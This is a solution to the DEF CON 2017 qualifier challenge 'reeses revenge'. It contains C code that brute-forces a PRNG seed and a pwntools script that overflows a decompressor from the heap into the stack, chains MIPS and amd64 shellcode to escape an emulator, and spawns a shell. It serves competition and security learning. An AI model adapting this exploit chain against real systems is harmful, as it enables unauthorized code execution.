Solution for reeses revenge from Defcon quals 2017

crack_seed.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <pthread.h>

typedef struct {
  unsigned int s[32];
  unsigned int i;
} ctx_t;

void random_seed(int seed, ctx_t *ctx){
  int i;
  ctx->i = 0;
  ctx->s[0] = seed;
  for(i = 0; i < 31; i++) {
    ctx->s[i+1] = 0x7ffff * (((ctx->s[i & 0x1f] >> 30) + i + 1) ^ ctx->s[i & 0x1f]);
  }
}

int random_random(ctx_t *ctx){
  int a,b,c,d,e,f;
  a = ctx->s[((ctx->i + 24) & 31)];
  b = (ctx->i + 31) & 31;
  c = (ctx->i + 31) & 31;
  d = (ctx->s[((ctx->i + 3) & 31)] >> 8) ^ ctx->s[ctx->i] ^ ctx->s[((ctx->i + 3) & 31)];
  e = (ctx->s[((ctx->i + 10) & 31)] << 14) ^ (a << 19) ^ a ^ ctx->s[((ctx->i + 10) & 31)];
  f = (e << 13) ^ (d << 7) ^ e ^ d ^ (ctx->s[c] << 11) ^ ctx->s[c];
  ctx->s[ctx->i] = e ^ d;
  ctx->s[c] = f;
  ctx->i = b;
  return f;
}

int target1, target2, steps;

void *worker(void *arg) {
  int start, seed, stop;
  ctx_t ctx;

  start = (int)arg;
  stop = start + steps;

  for(seed = start; seed < stop; seed++){
    random_seed(seed, &ctx);
    if(random_random(&ctx) == target1) {
      if(random_random(&ctx) == target2) {
        printf("0x%08x\n", random_random(&ctx));
        exit(EXIT_SUCCESS);
      }
    }
  }

  return NULL;
}

int main(int argc, char **argv){
  size_t i, num_threads;
  pthread_t *threads;
  int start;

  if (argc != 3) {
    printf("usage: %s <target1> <target2>\n", argv[0]);
    return EXIT_FAILURE;
  }

  target1 = atoi(argv[1]);
  target2 = atoi(argv[2]);

  num_threads = sysconf(_SC_NPROCESSORS_ONLN) + 4;
  threads = calloc(num_threads, sizeof(pthread_t));
  steps = ((long long)1<<32) / num_threads;

  for (i = 0; i < num_threads; i++) {
    start = ((long long)i<<32) / num_threads;
    pthread_create(&threads[i], NULL, worker, (void*)start);
  }

  for (i = 0; i < num_threads; i++) {
    pthread_join(threads[i], NULL);
  }

  return 0;
}

doit.py

from pwn import *

def crack_seed(target1, target2):
    log.info("Cracking seed")
    os.system("gcc -O9 -lpthread crack_seed.c")
    r = process("./a.out %d %d" % (target1, target2), shell=True)
    seed = int(r.recvline(), 16)
    r.close()
    return seed

# compression algorithm
def put_byte(b):
    assert 0 <= b < 256
    return [1] + bits(b)

def copy_paste(offset, size):
    assert 0 <= offset < 8192
    assert 2 <= size < 34
    size -= 2
    offset += 0x2000
    offset -= 33
    offset = bits(offset | 0x8000)[3:]
    size = bits(size | 0x80)[3:]
    return [0] + offset + size

amd64_shellcode = asm(shellcraft.amd64.sh(), arch="amd64")
amd64_shellcode = amd64_shellcode

shellcode = asm("""
    li $t0, 0x400000
    li $t1, 0x10

    /* generate and save target1 */
    li $v0, 4005
    syscall
    sw $v0, ($t0)
    add $t0, 4
    sub $t1, 1

    /* generate and save target2 */
    li $v0, 4005
    syscall
    sw $v0, ($t0)
    add $t0, 4
    sub $t1, 1

    /* send them back for cracking */
    li $a1, 0x400000
    li $v0, 4004
    li $a0, 1
    li $a2, 2*4
    syscall

    /* these are know good values, generated with z3 */
    li $v0, 4014
    li $a0, 0x82f000
    li $a1, 0x3ffb
    syscall

    /* read in amd64 shellcode executable page */
    li $a0,0
    move $a1, $v0
    li $a2, %d
    li $v0, 4003
    syscall

    /* read in new rip value: address of our shellcode */
    li $a0, 0
    li $a1, 0x400000
    li $a2, 8
    li $v0, 4003
    syscall

    /* setup flag inside emulator, load vaules for rip into $a2 and $a3, and trigger stack overflow */
    li $2, 1
    li $a0, 0x400000
    lw $a2, 0($a0)
    lw $a3, 4($a0)
    .word 0x1c400000
    .word 0xcfe00000 /* delay slot ??? */
""" % len(amd64_shellcode), arch="mips")

trampolin = asm("""
    /* read in shellcode */
    li $v0, 4003
    li $a0, 0
    li $a1, 0x420000
    li $a2, %d
    syscall

    /* ... and jump to it! */
    li $a1, 0x420000
    jr $a1
    nop
""" % len(shellcode), arch="mips")

bs = []

for i in "\x00"*32:
    bs += put_byte(ord(i))

for i in range(0x12f4):
    bs += copy_paste(0, 32)

for i in trampolin.ljust(32+28) + p32(0x42FF58):
    bs += put_byte(ord(i))

comp = unbits(bs)

#r = remote("reeses_fc849330ede1f497195bad5213deaebc.quals.shallweplayaga.me", 3456)
r = process("./reeses")

sample = read("sample1")
# send signed code/sample
r.send(p32(len(sample)) + sample)
# Wait for it to be loaded correctly
r.recvuntil("<<RUNNING>>\n")

# use decompression to overflow from heap to stack
r.send(p8(1) + p32(len(comp)) + comp)

# trampolin should be waiting for shellcode now
r.send(shellcode)

# two random values, we need the seed
target1 = u32(r.recvn(4))
target2 = u32(r.recvn(4))

print disasm(shellcode, arch="mips")

target3 = crack_seed(target1, target2)

# this is where our shellcode will be
shellcode_addr = (4 << 44) | (target3 << 12)
log.info("Shellcode address: 0x%x", shellcode_addr)

# send our shellcode
r.send(amd64_shellcode)

# send out shellcode address, our mips shellcode will be waiting for it.
r.send(p64(shellcode_addr))

# ... and we should have a shell now
r.interactive()